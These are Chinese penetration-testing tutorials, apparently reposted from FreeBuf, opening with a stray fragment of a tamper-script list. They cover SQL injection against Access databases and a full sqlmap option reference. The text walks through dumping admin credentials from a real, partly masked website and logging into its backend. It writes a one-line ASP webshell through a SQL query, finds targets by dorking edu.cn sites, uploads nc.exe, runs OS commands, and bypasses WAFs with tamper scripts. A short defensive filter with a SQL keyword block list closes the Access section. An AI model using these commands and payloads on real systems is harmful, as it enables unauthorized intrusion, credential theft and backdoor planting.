36 randomcomments
37 securesphere
48 space2plus
50 symboliclogical
51 unionalltounion
52 unmagicquotes
54 varnish
57 xforwardedfor

欢迎收藏,评论,纠正,分享请注明来源。真诚期待各位大佬勘误。

*文章作者xiaohong0,转载请注明来自FreeBuf.COM

*本文原创作者:simeon,本文属FreeBuf原创奖励计划,未经许可禁止转载

1.1使用sqlmap进行access注入

对于存在access注入的站点,可以通过手工注入或者工具注入来获取access数据库中的表以及内容,特别是获取网站后台管理表中的用户名及其密码。

1.1.1 access数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员,在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2016在微软Office 2016里发布,微软Office Access 2013 是前一个版本,默然安装Office是不安装Access数据库。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。

(1)ACCESS数据库结构

ACCESS数据库采用表名-列名-内容数据,它不像MySQL和MSSQL,需要先创建数据库,然后创建表,输入内容到表中。ACCESS的数据库是一个mdb文件(例如data.mdb),一个库可以包含若干张表。

(2)操作ACCESS数据库

默认是在安装Office时选择安装Access组件来创建数据库,对数据库中的表实施管理操作。也可以通过一些Access数据库访问工具进行操作。

1.1.2Access注入基础

1. access注入基本流程

(1)判断有无注入

(2)猜解表名

(3)猜解字段

(4)猜解管理员字段值

(5)猜解用户名和密码长度

(6)猜解用户名和密码

(7)破解加密密码

(8)寻找并登录后台

2.常见的注入工具

常见的SQL注入工具有“HDSI 3.0 Goldsun干净拓宽版”、“Domain”、“Safe3”、“啊D工具”、“管中窥豹”、Havij、pangolin、WebCruiser和SQLmap等。目前仅仅SQLmap是开源,出于安全考虑,建议用sqlmap工具进行access注入。

3.常见的查询方式

(1)联合查询法(速度快,兼容性不好)

and 1=1 and 1=2 ——判断注入

order by 22  ——猜有多少列(12正确,13错误,则为12个)

union select 1,2,3,4,5,6,7,8,9,10,11,12from admin ——猜表名(报错说明表名不存在,将admin表换成别的继续猜测)

union select 1,2,username,4,5,6,7,8,9,10,11,12from admin ——猜列名(列名位置放置页面上显示的数字位置上,报错说明列名不存在,换列明继续猜,列名猜对后及出账号密码)

(2)逐字猜解法(速度慢,兼容性好)

and 1=1 and 1=2 ——判断注入

and exists (select * from admin) ——猜表名

and exists (select user_name from admin) ——猜列名

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(user_name ) fromadmin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

and (select top 1 asc(mid(user_name ,1,1))from admin)=97 判断第一位(97代表‘a’的ascll值)

and (select top 1 asc(mid(user_name ,2,1))from admin)=97 判断第二位

(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位npass_word=a48e190fafc257d3)

4. 判断有无注入

(1)粗略型:提交单引号’,id值-1、id值+1,判断页面显示信息不同或者出错信息。

(2)逻辑型(数字型注入):and1=1 、and 1=2;正常显示,内容与正常页面显示的结果基本相同;提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next);在数据库中是否执行,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据其结果来判断是否存在sql注入。

(3)逻辑型(字符型注入):’and ’1′=’1/’ 、and ’1′=’2

(4)逻辑型(搜索型注入):%’and 1=1 、and ‘%’='%/%’ 、and 1=2 and ‘%’='%

1.1.3SQLmap思路及命令

1. SQLmapaccess注入操作思路

(1)手工判断url是否存在SQL注入。通过在url传入参数处加入“’”、and 1=1、and 1=2等,查看页面是否出错,如果存在页面不一样或者有出错信息,则表明网站url存在sql注入。常见的错误信息如下:

Microsoft JET Database Engine 错误 ’80040e14′

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/view.asp,行 26

以上信息表明数据库采用Access数据库。

(2)使用sqlmap进行检测注入点是否可用

Sqlmap命令:sqlmap.py –uurl  

如果存在,则会提示进行相应操作,例如判断数据库中的表,如果不存在则无法继续。

(3)检测表,执行“sqlmap.py–u url –tables”命令来获取access数据库表,需要选择线程数,建议选择1-20之间,这个数过大,会导致网站无法打开。

(4)获取数据库表内容

sqlmap.py–u url --tables --columns -T admin

如果存在管理员表admin,则可以通过以上命令来获取admin表中的列。

(5)获取管理员admin表中的数据内容

sqlmap.py–u url --dump -T admin -C "username,password"  

通过(4)获取admin表中存在username和password列,通过dump参数来获取该表中的所有数据。也可以通过sqlmap.py –u url –sql-query=”select username,password from admin”来获取admin表中的内容,还可以通过sqlmap.py–u url –sql-shell来进行sql查询交互使用。

2.一个完整的access注入过程命令

(1)注入点判断:sqlmap.py-u http://www.antian365.com/index.asp?id=1

(2)猜数据库表:sqlmap.py -u http://www.antian365.com/index.asp?id=1 –tables

输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。

(3)对某个表进行字段猜解

sqlmap.py-u ” http://www.antian365.com/index.asp?id=1” –tables –columns -Tadmin

例如获取admin表的字段如下: id,username,password

(4)对admin表字段内容进行猜解

sqlmap.py -u " http://www.antian365.com/index.asp?id=1"--dump -T admin -C "username,password"  

(5)获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。

(6)寻找后台地址,并登录后台

(7)通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。

知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:\freehost\fred200903\web\,则查询语句为:

SELECT '<%execute request("a")%>' into [a] in ' d:\freehost\fred200903\web\x.asp;a.xls''excel 8.0;' from a

Shell地址:http://www.somesite.com/ x.asp;a.xls,一句话后门密码a。

1.1.4Access其它注入

1.Accesspost登录框注入

注入点:http://xxx.xxx.com/Login.asp

(1)通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入

例如对着注入点使用burp抓包,保存tg .txt文件,使用命令:

./sqlmap.py-r tg.txt -p tfUPass

(2)自动搜索表单的方式   

sqlmap-u http://xxx.xxx.com/Login.asp –forms

(3)指定一个参数的方法

sqlmap-u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"

2.Cookie注入

sqlmap -u "http://www.xxx.com/news.asp"--cookie "id=1" --table --level 2

1.1.5Access SQL注入实战案例

1.使用wvs扫描站点

打开WVS,新建扫描目标,如图1所示,执行WebScanner,扫描结束后可以看到其高危提示显示存在多个SQL盲注。依次展开,获取其详细url地址。在该结果中还可以看到28web目录,该目录后后台地址。

1.jpg

图1获取sql盲注地址

2.手工测试注入点

在url地址地址后加入一个单引号,其url经过编码后显示为%27也即在浏览器中直接访问:http://www.b********n.com/company.asp?id=9&cid=4%27,如图2所示,提示存在类型不匹配,说明可能存在SQL注入。

2.jpg

图2手工测试提示出错信息

3.使用sqlmap检测注入点

使用sqlmap.py –u http://www.b********n.com/company.asp?id=9&cid=4进行注入点检测, SQLMAP已经检测出该url存在SQL注入地址,获取操作系统版本可能是Windows 10或者Windows 2016,数据库为Access。获取Access数据库中表的命令:

sqlmap.py–u http://www.b********n.com/company.asp?id=9 –table

如图3所示, 选择常见表名猜测以及输入线程为1,如图4所示sqlmap检测出access中所有的表。

3.jpg

图3获取access数据库表

4.jpg

图4获取所有的数据库表

4.获取admin表内容

(1)获取数据库表admin的列名及其导出表内容

依次使用下面的命令来获取数据库表admin的列名及其导出其表内容:

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --tables --columns -T admin

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --dump -T admin –C

(2)可以通过sql-shell参数来交互查询获取数据

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --sql-shell

如图5所示,执行上面命令后,执行selectusername,password from admin查询来获取当前的所有用户及密码。

5.jpg

图5获取用户名及其密码

5.登录后台地址

使用地址http://www.b********n.com/28web进行登录,如图6所示成功登录后台。在wvs扫描结果中可以看到有admin_chklogin.asp,所以28web为后台登陆地址。

6.jpg

图6登录后台管理

6.sqlmap查询结果

Sqlmap的日志文件以及数据库dump文件均在C:\Users\Administrator\.sqlmap\output\targnet.com目录下。targnet.com为执行注入测试的名称。

7.技巧

可以使用sqlmap.py –u http://www.b********n.com/company.asp?id=9–a –batch –smart自动获取所有信息。

1.1.6安全防范

1.对所有涉及传入参数进行过滤。

2.使用sql防注入代码

在连接数据库的下方加入SQL注入防范代码

(1)sql注入防范代码

<%

dimsql_injdata,SQL_inj,SQL_Get,SQL_Data,Sql_Post

SQL_injdata="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

SQL_inj= split(SQL_Injdata,"|")

If Request.QueryString<>""Then

For EachSQL_Get In Request.QueryString

ForSQL_Data=0 To Ubound(SQL_inj)

ifinstr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then

Response.Write"<Script Language=javascript>alert('注意:请不要提交非法请!');history.back(-1)</Script>"

Response.end

end if

next

Next

End If

IfRequest.Form<>"" Then

For EachSql_Post In Request.Form

ForSQL_Data=0 To Ubound(SQL_inj)

ifinstr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then

Response.Write"<Script Language=javascript>alert('注意:请不要提交非法请!');history.back(-1)</Script>"

Response.end

end if

next

next

end if

%>

(2)使用函数进行过滤

functionkilln(byval s1) ‘过滤数值型参数

if notisnumeric(s1) then 

killn=0

else

ifs1<0 or s1>2147483647 then 

killn=0

else

killn=clng(s1)

end if

end if

endfunction

functionkillc(byval s1) 过滤货币型参数

if notisnumeric(s1) then 

killc=0

else

killc=formatnumber(s1,2,-1,0,0)

end if

endfunction

functionkillw(byval s1) ‘过滤字符型参数

iflen(s1)=0 then

killw=""

else

killw=trim(replace(s1,"'",""))

end if

endfunction

functionkillbad(byval s1) 过滤所有危险字符,包括跨站脚本

Iflen(s1) = 0 then

killbad=""

else

killbad=trim(replace(replace(replace(replace(replace(replace(replace(replace(s1,Chr(10),"〈br〉"), Chr(34), """), "〉",">"), "〈", "<"), "&","&"),chr(39),"'"),chr(32),""),chr(13),""))

end if

endfunction

3.使用waf防火墙或者安全狗等防护软件

*本文原创作者:simeon,本文属FreeBuf原创奖励计划,未经许可禁止转载

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap目前最新版本为1.1.8-8,相关资源如下:

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

演示视频:https://asciinema.org/a/46601

教程:http://www.youtube.com/user/inquisb/videos

1.1 sqlmap简介

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

l  基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

l  基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

l  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

l  联合查询注入,可以使用union的情况下的注入;

l  堆查询注入,可以同时执行多条语句的执行时的注入。

1.2 下载及安装

(1)linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

(2)windows下安装

windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。

(3)kali及PentestBox默认安装sqlmap

1.3 SQL使用参数详解

本文以SQLmap 1.1.8-8版本为例,对其所有参数进行详细的分析和讲解,便于在使用时进行查询。

用法: sqlmap.py [选项]

1.3.1 选项

 -h,–help  显示基本帮助信息并退出

 -hh    显示高级帮助信息并退出

 –version  显示程序版本信息并退出

-vVERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

1.3.2 目标

在这些选项中必须提供至少有一个确定目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, –url=URL   目标URL (e.g.”http://www.site.com/vuln.php?id=1“),使用-u或者–url

-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项

1.3.3 请求

这些选项可以用来指定如何连接到目标URL

–method=METHOD  强制使用给定的HTTP方法(例如put)

    --data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users

   –param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

   –cookie=COOKIE     HTTP Cookieheader 值

   –cookie-del=COO..  用来分隔cookie的字符串值

   –load-cookies=L..  Filecontaining cookies in Netscape/wget format

   –drop-set-cookie   IgnoreSet-Cookie header from response

   –user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

   –random-agent     使用random-agent作为HTTP User-Agent头值

   –host=HOST         HTTP Hostheader value

   –referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

   -H HEADER, –hea..  额外的http头(e.g.”X-Forwarded-For: 127.0.0.1″)

   –headers=HEADERS  可以通过–headers参数来增加额外的http头(e.g.”Accept-Language: fr\nETag: 123″)

   –auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)

   –auth-cred=AUTH..  HTTP 认证凭证(name:password)

   –auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

   –ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)

   –ignore-proxy      忽略系统的默认代理设置

   –ignore-redirects忽略重定向的尝试

   –ignore-timeouts   忽略连接超时

   –proxy=PROXY       使用代理服务器连接到目标URL

   –proxy-cred=PRO..  代理认证凭证(name:password)

   –proxy-file=PRO..  从文件加载代理列表

   –tor               使用Tor匿名网络

   –tor-port=TORPORT  设置Tor代理端口

   –tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))

   –check-tor       检查Tor的是否正确使用

   –delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

   –timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。

   –retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

   –randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样

   –safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下

   –safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

   –safe-req=SAFER..  从文件中加载安全HTTP请求

   –safe-freq=SAFE..  测试一个给定安全网址的两个访问请求

   –skip-urlencode    跳过URL的有效载荷数据编码

   –csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌

   –csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌

   –force-ssl         强制使用SSL/HTTPS

   –hpp               使用HTTP参数污染的方法

   –eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)

 sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

1.3.4 优化

这些选项可用于优化sqlmap性能

-o               打开所有的优化开关

–predict-output    预测普通查询输出

–keep-alive        使用持久HTTP(S)连接

–null-connection   获取页面长度

–threads=THREADS   当前http(s)最大请求数 (默认 1)

1.3.5 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

   -p TESTPARAMETER    可测试的参数

   –skip=SKIP         跳过对给定参数的测试

   –skip-static       跳过测试不显示为动态的参数

   –param-exclude=..  使用正则表达式排除参数进行测试(e.g. “ses”)

   –dbms=DBMS         强制后端的DBMS为此值

   –dbms-cred=DBMS..  DBMS认证凭证(user:password)

   –os=OS            强制后端的DBMS操作系统为这个值

   –invalid-bignum    使用大数字使值无效

   –invalid-logical   使用逻辑操作使值无效

   –invalid-string    使用随机字符串使值无效

   –no-cast          关闭有效载荷铸造机制

   –no-escape         关闭字符串逃逸机制

   –prefix=PREFIX     注入payload字符串前缀

   –suffix=SUFFIX     注入payload字符串后缀

   –tamper=TAMPER   使用给定的脚本篡改注入数据

1.3.6 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

   –level=LEVEL     执行测试的等级(1-5,默认为1)

   –risk=RISK       执行测试的风险(0-3,默认为1)

   –string=STRING    查询时有效时在页面匹配字符串

   –not-string=NOT..  当查询求值为无效时匹配的字符串

   –regexp=REGEXP     查询时有效时在页面匹配正则表达式

   –code=CODE       当查询求值为True时匹配的HTTP代码

   –text-only        仅基于在文本内容比较网页

   –titles           仅根据他们的标题进行比较

1.3.7 技巧

 这些选项可用于调整具体的SQL注入测试

   –technique=TECH    SQL注入技术测试(默认BEUST)

   –time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)

   –union-cols=UCOLS  定列范围用于测试UNION查询注入

   –union-char=UCHAR  暴力猜测列的字符数

   –union-from=UFROM  SQL注入UNION查询使用的格式

   –dns-domain=DNS..  DNS泄露攻击使用的域名

   –second-order=S..  URL搜索产生的结果页面

1.3.8 指纹

-f, –fingerprint   执行广泛的DBMS版本指纹检查

1.3.9 枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

   -a, –all           获取所有信息

   -b, –banner        获取数据库管理系统的标识

   –current-user      获取数据库管理系统当前用户

   –current-db        获取数据库管理系统当前数据库

    –hostname         获取数据库服务器的主机名称

   –is-dba            检测DBMS当前用户是否DBA

   –users             枚举数据库管理系统用户

   –passwords         枚举数据库管理系统用户密码哈希

   –privileges        枚举数据库管理系统用户的权限

   –roles            枚举数据库管理系统用户的角色

   –dbs             枚举数据库管理系统数据库

   –tables            枚举的DBMS数据库中的表

   –columns          枚举DBMS数据库表列

   –schema            枚举数据库架构

   –count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb

   –dump            转储数据库表项

    –dump-all          转储数据库所有表项

   –search           搜索列(S),表(S)和/或数据库名称(S)

   –comments          获取DBMS注释

   -D DB               要进行枚举的指定数据库名

   -T TBL              DBMS数据库表枚举

   -C COL             DBMS数据库表列枚举

   -X EXCLUDECOL     DBMS数据库表不进行枚举

   -U USER           用来进行枚举的数据库用户

   –exclude-sysdbs    枚举表时排除系统数据库

   –pivot-column=P..  Pivot columnname

   –where=DUMPWHERE   Use WHEREcondition while table dumping

   –start=LIMITSTART  获取第一个查询输出数据位置

   –stop=LIMITSTOP   获取最后查询的输出数据

   –first=FIRSTCHAR   第一个查询输出字的字符获取

   –last=LASTCHAR    最后查询的输出字字符获取

   –sql-query=QUERY   要执行的SQL语句

   –sql-shell         提示交互式SQL的shell

   –sql-file=SQLFILE  要执行的SQL文件

1.3.10 暴力

这些选项可以被用来运行暴力检查

   –common-tables     检查存在共同表

   –common-columns    检查存在共同列

1.3.11 用户自定义函数注入

这些选项可以用来创建用户自定义函数

   –udf-inject    注入用户自定义函数

   –shared-lib=SHLIB  共享库的本地路径

1.3.12 访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

   –file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:

sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1

   –file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件

   –file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1

1.3.13 操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

   –os-cmd=OSCMD   执行操作系统命令(OSCMD)

   –os-shell          交互式的操作系统的shell

   –os-pwn          获取一个OOB shell,meterpreter或VNC

   –os-smbrelay       一键获取一个OOBshell,meterpreter或VNC

   –os-bof           存储过程缓冲区溢出利用

   –priv-esc          数据库进程用户权限提升

   –msf-path=MSFPATH  MetasploitFramework本地的安装路径

   –tmp-path=TMPPATH  远程临时文件目录的绝对路径

linux查看当前用户命令:

sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1

1.3.14 Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

   –reg-read          读一个Windows注册表项值

   –reg-add           写一个Windows注册表项值数据

   –reg-del           删除Windows注册表键值

   –reg-key=REGKEY    Windows注册表键

   –reg-value=REGVAL  Windows注册表项值

   –reg-data=REGDATA  Windows注册表键值数据

   –reg-type=REGTYPE  Windows注册表项值类型

1.3.15 一般选项

这些选项可以用来设置一些一般的工作参数

   -s SESSIONFILE     保存和恢复检索会话文件的所有数据

   -t TRAFFICFILE      记录所有HTTP流量到一个文本文件中

   –batch            从不询问用户输入,使用所有默认配置。

   –binary-fields=..  结果字段具有二进制值(e.g.”digest”)

   –charset=CHARSET   强制字符编码

   –crawl=CRAWLDEPTH  从目标URL爬行网站

   –crawl-exclude=..  正则表达式从爬行页中排除

   –csv-del=CSVDEL    限定使用CSV输出 (default”,”)

   –dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)

   –eta              显示每个输出的预计到达时间

   –flush-session     刷新当前目标的会话文件

   –forms           解析和测试目标URL表单

    –fresh-queries     忽略在会话文件中存储的查询结果

   –hex             使用DBMS Hex函数数据检索

   –output-dir=OUT..  自定义输出目录路径

   –parse-errors      解析和显示响应数据库错误信息

   –save=SAVECONFIG   保存选项到INI配置文件

   –scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标

   –test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)

   –test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)

   –update            更新sqlmap

1.3.16 其他

   -z MNEMONICS        使用短记忆法 (e.g.”flu,bat,ban,tec=EU”)

   –alert=ALERT       发现SQL注入时,运行主机操作系统命令

   –answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1“–technique=E–answers=”extending=N” –batch

   –beep    发现sql注入时,发出蜂鸣声。

   –cleanup     清除sqlmap注入时在DBMS中产生的udf与表。

   –dependencies      Check formissing (non-core) sqlmap dependencies

   –disable-coloring  默认彩色输出,禁掉彩色输出。

   –gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试

   –identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别

   –mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

   –offline           Work inoffline mode (only use session data)

   –purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

   –skip-waf           跳过WAF/IPS / IDS启发式检测保护

   –smart            进行积极的启发式测试,快速判断为注入的报错点进行注入

   –sqlmap-shell      互动提示一个sqlmapshell

   –tmp-dir=TMPDIR    用于存储临时文件的本地目录

   –web-root=WEBROOT  Web服务器的文档根目录(e.g.”/var/www”)

   –wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入

1.4 实际利用

1.4.1 检测和利用SQL注入

1.手工判断是否存在漏洞

对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。

原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

2. sqlmap自动检测

检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。

3. 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。

超详细SQLMap使用攻略及技巧

图1搜索目标

图2测试网页能否正常访问.jpg

图2测试网页能否正常访问

  将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞。

图3检测URL地址是否存在漏洞.jpg

图3检测URL地址是否存在漏洞

4. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下。

图4批量整理目标地址.jpg

图4批量整理目标地址

1.4.2 直接连接数据库

sqlmap.py -d”mysql://admin:[email protected]:3306/testdb” -f –banner –dbs–users

1.4.3数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 –users

5.数据库账户与密码 –passwords

6.指定库名列出所有表  -D database –tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin –columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username –dump

-D antian365 -T userb -C”email,Username,userpassword” –dump

  可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump 

参数:

–start:指定开始的行

–stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。

1.5 SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,”/*!0%s” % word) 为:

return match.group().replace(word,”/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query=”CAST(%s ASCHAR)”/>为:

<castquery=”convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

